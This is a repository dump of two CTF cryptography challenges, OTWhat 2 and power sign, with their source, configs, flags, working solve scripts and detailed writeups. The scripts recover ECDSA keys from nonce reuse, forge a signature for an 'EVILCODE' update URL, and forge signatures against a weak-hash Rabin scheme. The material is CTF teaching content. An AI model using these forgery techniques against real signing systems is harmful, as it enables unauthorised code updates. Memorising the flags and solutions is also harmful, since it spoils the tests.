MEYCIQCJOv4ySbAeecUF2NKLAGzM3oemf4drCp0DSphf75MvVQIhAP/IhK0yYOvnKsYq/kKJN+8NBZwwSpv6qLuqRSpUT1tB https://GOODCODE/update/f8442ff7e69b88edf9fc4d5ee48967d72602ed7e811c1164cfba69ab46ce8a32 MEYCIQDy5voOPCbpBS7BbnMbr8xO/Ddq4/XH/0oaIx7akii2LAIhAMdPoN9zBpXwQ5xfixaZSd59QHmyHDDQRhLDky6axSfc ================================================ FILE: crypto/otwhat-2/challenge/generate_audit.py ================================================ from Crypto.PublicKey import ECC from Crypto.Hash import SHA3_512 from Crypto.Signature import DSS from Crypto.Util import asn1 import base64 import random with open("app/secp256r1.key") as f: key = ECC.import_key(f.read()) signer = DSS.new(key, 'fips-186-3', 'der') prefix = "https://GOODCODE/update/" urls = [prefix + random.randbytes(32).hex() for i in range(16)] duplicate_indices = [random.randint(0, 15), random.randint(0, 15)] while duplicate_indices[0] == duplicate_indices[1]: duplicate_indices = [random.randint(0, 15), random.randint(0, 15)] urls = [ (url, signer.sign(SHA3_512.new(url.encode()))) if i not in duplicate_indices else (url,) for i, url in enumerate(urls)] k = random.randbytes(256) def fixed_rng(l): print(k[:l]) return k[:l] vulnerable_signer = DSS.new(key, 'fips-186-3', 'der', fixed_rng) for i in duplicate_indices: url, = urls[i] urls[i] = (url, vulnerable_signer.sign(SHA3_512.new(url.encode()))) print(k) print(duplicate_indices) with open("app/update.log", "w") as f: for url, sig in urls: f.write(f"{url} {base64.b64encode(sig).decode()}\n") ================================================ FILE: crypto/otwhat-2/challenge.yml ================================================ version: "0.1" id: otwhat-2 name: OTWhat 2 category: crypto description: | "We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response." Author: nullableVoid*#7225 connection_info: ${url} tags: - medium flags: - DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)} ================================================ FILE: crypto/otwhat-2/solve/solve.py ================================================ import sys import requests import re from bs4 import BeautifulSoup import base64 from Crypto.Hash import SHA3_512 from Crypto.Util import asn1 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from base64 import b64encode soup = BeautifulSoup( requests.get(f"http://{sys.argv[1]}/update.cgi").text, "lxml" ) signatures = [] for row in soup.select("tr"): cells = row.select("td") if cells: signatures.append( ( cells[0].text.strip(), list( asn1.DerSequence().decode(base64.b64decode(cells[1].text.strip())) ), ) ) duplicates = [] seen = {} for i, signature in enumerate(signatures): url = signature[0] r, s = signature[1] if r in seen: duplicates = [(url, s), seen[r]] break seen[r] = (url, s) print(duplicates) zs = [ int.from_bytes(SHA3_512.new(d[0].encode()).digest(), "big") >> 256 for d in duplicates ] ss = [d[1] for d in duplicates] n = 115792089210356248762697446949407573529996955224135760342422259061068512044369 k = ((zs[0] - zs[1]) * pow(ss[0] - ss[1], -1, n)) % n da = (((ss[0] * k) - zs[0]) * pow(int(r), -1, n)) % n k = ECC.construct(curve="secp256r1", d=da) forged_signature = DSS.new(k, "fips-186-3", "der").sign( SHA3_512.new(b"https://EVILCODE/") ) print(b64encode(forged_signature).decode()) result = requests.post( f"https://{sys.argv[1]}/update.cgi", data={ "url": "https://EVILCODE/", "signature": b64encode(forged_signature).decode(), }, ).text print(re.search(r"DUCTF\{.*\}", result)[0]) ================================================ FILE: crypto/otwhat-2/solve/writeup.md ================================================ As the flag heavily references the OG talk, this is a known cryptographic failure of PS3 signed software, with the use of a static k. In order to recover the private key, two signatures with identical `r` and the order of the curve used is required. The web service provides an "Update audit log", providing update URLs and correlating OEM signatures. The signatures are PEM-encoded ASN.1 sequences containing just two integers, r and s. Once the player has identified signatures with an identical `r`, they must also identify the hashing algorithm used so that they recover the `z` (leftmost bits of a digest). The HTML source has a `DEBUG` section providing the resulting hash digest, which is 512-bit. After identifying the hash to be 512-bit, the player can then recover the private key. Note: calculations below are done in modulo `n`, where `n` is the order of the P-256 curve. The two `z` variables must be recovered by using the hashing algorithm and taking its leftmost 256 bits: ``` bytes_to_long(SHA3_512(url)) >> 256 ``` These `z` variables can then be used with the two `s` variables from the identified signatures to recover the nonce `k`: ``` k = (z1 - z2) / (s1 - s2) ``` The private key `d` can now be calculated using one of signatures and its `k`: ``` d = ((s * k) - z) / r ``` All the player has to do now is specify the scalar `d` when constructing a `secp256r1` key, and then sign the URL `https://EVILCODE/` using ECDSA. ================================================ FILE: crypto/power-sign/Dockerfile ================================================ FROM sagemath/sagemath:9.1 ENV DEBIAN_FRONTEND=noninteractive RUN sudo apt-get update \ && sudo apt-get install -y socat --fix-missing \ && sudo rm -r /var/lib/apt/lists/* COPY ./challenge/power-sign.sage /home/ctf/chal/chal.sage COPY ./challenge/flag.txt /home/ctf/chal/ WORKDIR /home/ctf/chal ENTRYPOINT sudo socat -dd TCP4-LISTEN:1337,fork,reuseaddr EXEC:"sage chal.sage" ================================================ FILE: crypto/power-sign/README.md ================================================ # power sign **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 You know the drill. Forge a signature, get the flag. **Attached files:** - ./challenge/power-sign.sage (sha256: 7d3ecc8561600b4b7f61b94af135fd50caf55c353b4f8b935ae126492a687446) ================================================ FILE: crypto/power-sign/challenge/flag.txt ================================================ DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...} ================================================ FILE: crypto/power-sign/challenge/power-sign.sage ================================================ #!/usr/bin/env sage proof.arithmetic(False) # just makes things faster def get_3m4_prime(N): while True: p = random_prime(2^N - 1, lbound=2^(N-1)) if p % 4 == 3: return p def generate_key(L, n, m): p = get_3m4_prime(L//2) q = get_3m4_prime(L//2) N = p*q r = next_prime(N) F. = PolynomialRing(GF(r)) K = F.quo(F.irreducible_element(n)) return (K, m), N, (p, q) def H(params, msg, u): K, m = params r, z = K.characteristic(), K.gens()[0] h = 0 while msg > 0: h *= z h += msg % r msg //= r h += z*u for _ in range(m): h ^= r assert len(list(h)) != 0 return int(h[0]) def sign(params, privkey, msg): p, q = privkey u = 1 while True: c = H(params, msg, u) % (p*q) if legendre_symbol(c, p) == legendre_symbol(c, q) == 1: break u += 1 xp = pow(c, (p+1)//4, p) xq = pow(c, (q+1)//4, q) x = crt([int(xp), int(xq)], [p, q]) return x, u def verify(params, pubkey, msg, sig): N = pubkey x, u = sig c = H(params, msg, u) return x^2 % N == c % N def main(): print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!') FLAG = open('./flag.txt', 'r').read().strip() L, n, m = 1024, 15, 3 params, pubkey, privkey = generate_key(L, n, m) print('N:', pubkey) msg = int(input('message (in hex): '), 16) if msg < pubkey^m: print('That message is too small!') exit() if msg > pubkey^n: print('That message is too big!') exit() x, u = sign(params, privkey, msg) print('x:', x) print('u:', u) auth_msg = randint(1, pubkey^5) print('Now sign', hex(auth_msg)) x = int(input('x: ')) u = int(input('u: ')) if verify(params, pubkey, auth_msg, (x, u)): print(FLAG) else: print('Incorrect!') if __name__ == '__main__': main() ================================================ FILE: crypto/power-sign/challenge.yml ================================================ version: "0.1" id: power-sign name: power sign category: crypto description: > You know the drill. Forge a signature, get the flag. Author: joseph#8210 connection_info: nc ${host} ${port} tags: - hard files: - ./challenge/power-sign.sage flags: - DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...} ================================================ FILE: crypto/power-sign/docker-compose.yml ================================================ version: '3' services: power-sign: # challenge name build: . ports: - "1337:1337" # local:container privileged: true ================================================ FILE: crypto/power-sign/solve/solv.sage ================================================ import os os.environ['PWNLIB_NOTERM'] = 'True' from pwn import * from parse import parse proof.arithmetic(False) def H(params, msg, u): K, m = params r, z = K.characteristic(), K.gens()[0] h = 0 while msg > 0: h *= z h += msg % r msg //= r h += z*u for _ in range(m): h ^= r return int(h.polynomial()[0]) def sign(params, privkey, msg): p, q = privkey u = 1 while True: c = H(params, msg, u) % (p*q) if c != 0 and legendre_symbol(c, p) == legendre_symbol(c, q) == 1: break u += 1 xp = pow(c, (p+1)//4, p) xq = pow(c, (q+1)//4, q) x = crt([int(xp), int(xq)], [p, q]) return x, u # context.log_level = 'debug' # conn = process('../challenge/power-sign.sage') conn = remote('0.0.0.0', 1337) conn.recvline() N = list(parse('N: {:d}\n', conn.recvline().decode()))[0] n, m = 15, 3 r = next_prime(N) F = GF(r) K. = F.extension(n) E = K.subfield(m, 'zE') zE = E.gens()[0] e0 = int(K(zE).polynomial()[0]) s = randint(1, N) s2 = s^2 % N k = K(inverse_mod(e0, r) * s2 * zE) - zK y = sum(int(a)*r^i for i, a in enumerate(k.polynomial().coefficients(sparse=False)[::-1])) conn.sendlineafter('message (in hex): ', hex(y)) x = list(parse('x: {:d}\n', conn.recvline().decode()))[0] u = list(parse('u: {:d}\n', conn.recvline().decode()))[0] if x == s or x == -s % N: print('attack failed... try again') exit() p = gcd(s - x, N) q = N//p auth_msg = list(parse('Now sign {:d}\n', conn.recvline().decode()))[0] x, u = sign((K, m), (p, q), auth_msg) conn.sendlineafter('x: ', str(x)) conn.sendlineafter('u: ', str(u)) print(conn.recvline().decode()) ================================================ FILE: crypto/power-sign/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "84581558", "metadata": {}, "source": [ "## Challenge Overview\n", "\n", "We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.\n", "\n", "The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \\equiv H(m, u) \\pmod N$ holds.\n", "\n", "In the challenge, the primes generated are of the form $p \\equiv 3 \\pmod 4$. This is done because if $p$ is a prime such that $p \\equiv 3 \\pmod 4$, then if a square root of $a \\in \\{ 0, \\ldots, p-1 \\}$ exists, it can be easily computed as $\\pm a^{\\frac{p+1}{4}} \\mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.\n", "\n", "## Security of Rabin Signatures\n", "\n", "Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can \"forge\" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \\equiv m \\pmod N$.\n", "\n", "More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \\mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \\neq \\pm x \\pmod N$, then we have\n", "\n", "$$\n", "\\begin{aligned}\n", " x^2 &\\equiv y^2 \\pmod N \\\\\n", " \\implies x^2 - y^2 &\\equiv 0 \\pmod N \\\\\n", " \\implies x^2 - y^2 &= kN \\quad \\text{for some $k$} \\\\\n", " \\implies (x-y)(x+y) &= kN\n", "\\end{aligned}\n", "$$\n", "\n", "so $\\gcd(x-y, N)$ reveals a nontrivial factor of $N$.\n", "\n", "## The Hash Function\n", "\n", "This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.\n", "\n", "We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.\n", "\n", "Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \\mathbb{F}_{r^n} \\cong \\mathbb{F}_r[x]/(f)$ of $\\mathbb{F}_r$, where $f \\in \\mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\\{ 1, z, z^2, \\ldots, z^{n-1} \\}$ is basis for $K$ when viewed as an $n$-dimensional $\\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}$ where $a_i \\in \\mathbb{F}_r$.\n", "\n", "The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:\n", "\n", "$$\n", "M = M_0 + M_1 r + M_2 r^2 + \\cdots + M_k r^k\n", "$$\n", "\n", "where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing\n", "\n", "$$\n", "h = M_k + M_{k-1} z + M_{k-2} z^2 + \\cdots + M_0 z^k\n", "$$\n", "\n", "To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as\n", "\n", "$$\n", "(h + uz)^{r^m} = a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}\n", "$$\n", "\n", "The output is $a_0$.\n", "\n", "## Choosing a Message to be Signed\n", "\n", "After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.\n", "\n", "If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \\mod N) r$. The hash function will convert this to $h = (s^2 \\mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \\mod N$ since all elements $a \\in \\mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.\n", "\n", "Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\\mathbb{F}_r$. We have\n", "\n", "$$\n", "H(M, u) = (h + uz)^{r^m}\n", "$$\n", "\n", "where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \\circ g$ where\n", "\n", "$$\n", "g(M, u) = h + uz \\qquad f(x) = x^{r^m}\n", "$$\n", "\n", "The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy\n", "\n", "$$\n", "f(x) = x \\implies x^{r^m} = x \\implies x^{r^m} - x = 0\n", "$$\n", "\n", "Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\\times = E - \\{ 0 \\}$ is a cyclic group of order $r^m - 1$, so if $\\alpha \\in E$, then $\\alpha^{r^m - 1} = 1$ and so $\\alpha^{r^m} = \\alpha$. That $E^\\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.\n", "\n", "So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies\n", "\n", "$$\n", "\\begin{aligned}\n", " x^{r^n} &= x^{r^{km}} \\\\\n", " &= x^{(r^m)^k} \\\\\n", " &= x^{(r^m)(r^m)^{k-1}} \\\\\n", " &= (x^{r^m})^{(r^m)^{k-1}} \\\\\n", " &= x^{(r^m)^{k-1}} \\\\\n", " &\\quad \\vdots \\\\\n", " &= x\n", "\\end{aligned}\n", "$$\n", "\n", "(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.\n", "\n", "Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as\n", "\n", "$$\n", "z_E = e_0 + e_1 z + \\cdots e_{n-1} z^{n-1}\n", "$$\n", "\n", "where $e_i \\in \\mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form\n", "\n", "$$\n", "(s^2 \\mod N) + a_1 z + \\cdots a_n z^{n-1}\n", "$$\n", "\n", "such that when $H$ is applied to this element, the constant term remains as $s^2 \\mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \\mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.\n", "\n", "The element in $K$ we are interested in is obtained by computing\n", "\n", "$$\n", "(s^2 \\mod N) e_0^{-1} z_E - z = (s^2 \\mod N) + a_1 z + \\cdots + a_n z^{n-1}\n", "$$\n", "\n", "To send this to the server, we encode it as an integer:\n", "\n", "$$\n", "a_n + a_{n-1} r + \\cdots + a_1 r^{n-2} + (s^2 \\mod N) r^{n-1}\n", "$$\n", "\n", "The server will compute for us a square root $y$ of $s^2 \\mod N$ and if we have $y \\neq \\pm s$, we can easily recover the private key using the technique described two sections ago.\n", "\n", "Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.\n", "\n", "### Easier Solution\n", "\n", "I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \\in K$, then for any of our chosen $x \\in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)\n", "\n", "## Alternative Approach via Linearity Properties\n", "\n", "This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular\n", "\n", "$$\n", "H(M, u) = H(M, 0) + u H(0, 1) \\pmod r\n", "$$\n", "\n", "So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:\n", "\n", "$$\n", "\\begin{aligned}\n", " x^2 &= H(M, u) \\\\\n", "\\implies x &= H(M, u) \\qquad \\text{since $x = 1$} \\\\\n", "\\implies x &= H(M, 0) + u H(0, 1) \\\\\n", "\\implies u &= H(0, 1)^{-1}(x - H(M, 0))\n", "\\end{aligned}\n", "$$\n", "\n", "Then, $(x, u)$ is a valid signature for $M$.\n", "\n", "This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!\n", "\n", "## Alternative Approach via Galois Theory\n", "\n", "Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\\phi : K \\rightarrow K, x \\mapsto x^r$ which is an $\\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\\phi^n : K \\rightarrow K, x \\mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.\n", "\n", "In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\\mathbb{Z}/15\\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\\mathrm{id}$ denotes the identity map):\n", "\n", "|Subgroup of $G$|Intermediate Field of $K$|\n", "|---|---|\n", "|$H_0 = \\{ \\mathrm{id} \\}$|$K^{H_0} = K$ (all elements are fixed by $\\mathrm{id}$)|\n", "|$H_1 = \\{ \\mathrm{id}, \\phi^5, \\phi^{10} \\}$|$K^{H_1} = \\mathbb{F}_{r^5}$|\n", "|$H_2 = \\{ \\mathrm{id}, \\phi^3, \\phi^6, \\phi^9, \\phi^{12} \\}$|$K^{H_2} = \\mathbb{F}_{r^3}$|\n", "|$G$|$K^G = \\mathbb{F}_r$ (only $\\mathbb{F}_r$ is fixed by all automorphisms)|\n", "\n", "From this, we can see that $\\mathbb{F}_{r^3}$ is fixed by $\\phi^3$.\n" ] }, { "cell_type": "code", "execution_count": null, "id": "97009ea4", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "SageMath 9.4", "language": "sage", "name": "sagemath" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.7" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/power-sign/solve/writeup.md ================================================ ## Challenge Overview We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message. The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \equiv H(m, u) \pmod N$ holds. In the challenge, the primes generated are of the form $p \equiv 3 \pmod 4$. This is done because if $p$ is a prime such that $p \equiv 3 \pmod 4$, then if a square root of $a \in \{ 0, \ldots, p-1 \}$ exists, it can be easily computed as $\pm a^{\frac{p+1}{4}} \mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem. ## Security of Rabin Signatures Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can "forge" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \equiv m \pmod N$. More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \neq \pm x \pmod N$, then we have $$ \begin{aligned} x^2 &\equiv y^2 \pmod N \\ \implies x^2 - y^2 &\equiv 0 \pmod N \\ \implies x^2 - y^2 &= kN \quad \text{for some $k$} \\ \implies (x-y)(x+y) &= kN \end{aligned} $$ so $\gcd(x-y, N)$ reveals a nontrivial factor of $N$. ## The Hash Function This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts. We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge. Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \mathbb{F}_{r^n} \cong \mathbb{F}_r[x]/(f)$ of $\mathbb{F}_r$, where $f \in \mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\{ 1, z, z^2, \ldots, z^{n-1} \}$ is basis for $K$ when viewed as an $n$-dimensional $\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \cdots + a_{n-1} z^{n-1}$ where $a_i \in \mathbb{F}_r$. The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$: $$ M = M_0 + M_1 r + M_2 r^2 + \cdots + M_k r^k $$ where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing $$ h = M_k + M_{k-1} z + M_{k-2} z^2 + \cdots + M_0 z^k $$ To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as $$ (h + uz)^{r^m} = a_0 + a_1 z + \cdots + a_{n-1} z^{n-1} $$ The output is $a_0$. ## Choosing a Message to be Signed After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$. If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \mod N) r$. The hash function will convert this to $h = (s^2 \mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \mod N$ since all elements $a \in \mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack. Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\mathbb{F}_r$. We have $$ H(M, u) = (h + uz)^{r^m} $$ where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \circ g$ where $$ g(M, u) = h + uz \qquad f(x) = x^{r^m} $$ The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy $$ f(x) = x \implies x^{r^m} = x \implies x^{r^m} - x = 0 $$ Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\times = E - \{ 0 \}$ is a cyclic group of order $r^m - 1$, so if $\alpha \in E$, then $\alpha^{r^m - 1} = 1$ and so $\alpha^{r^m} = \alpha$. That $E^\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs. So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies $$ \begin{aligned} x^{r^n} &= x^{r^{km}} \\ &= x^{(r^m)^k} \\ &= x^{(r^m)(r^m)^{k-1}} \\ &= (x^{r^m})^{(r^m)^{k-1}} \\ &= x^{(r^m)^{k-1}} \\ &\quad \vdots \\ &= x \end{aligned} $$ (and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting. Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as $$ z_E = e_0 + e_1 z + \cdots e_{n-1} z^{n-1} $$ where $e_i \in \mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form $$ (s^2 \mod N) + a_1 z + \cdots a_n z^{n-1} $$ such that when $H$ is applied to this element, the constant term remains as $s^2 \mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$. The element in $K$ we are interested in is obtained by computing $$ (s^2 \mod N) e_0^{-1} z_E - z = (s^2 \mod N) + a_1 z + \cdots + a_n z^{n-1} $$ To send this to the server, we encode it as an integer: $$ a_n + a_{n-1} r + \cdots + a_1 r^{n-2} + (s^2 \mod N) r^{n-1} $$ The server will compute for us a square root $y$ of $s^2 \mod N$ and if we have $y \neq \pm s$, we can easily recover the private key using the technique described two sections ago. Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag. ### Easier Solution I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \in K$, then for any of our chosen $x \in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :) ## Alternative Approach via Linearity Properties This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular $$ H(M, u) = H(M, 0) + u H(0, 1) \pmod r $$ So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$: $$ \begin{aligned} x^2 &= H(M, u) \\ \implies x &= H(M, u) \qquad \text{since $x = 1$} \\ \implies x &= H(M, 0) + u H(0, 1) \\ \implies u &= H(0, 1)^{-1}(x - H(M, 0)) \end{aligned} $$ Then, $(x, u)$ is a valid signature for $M$. This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution! ## Alternative Approach via Galois Theory Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\phi : K \rightarrow K, x \mapsto x^r$ which is an $\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\mathbb{F}_r$. Note that $G$ is 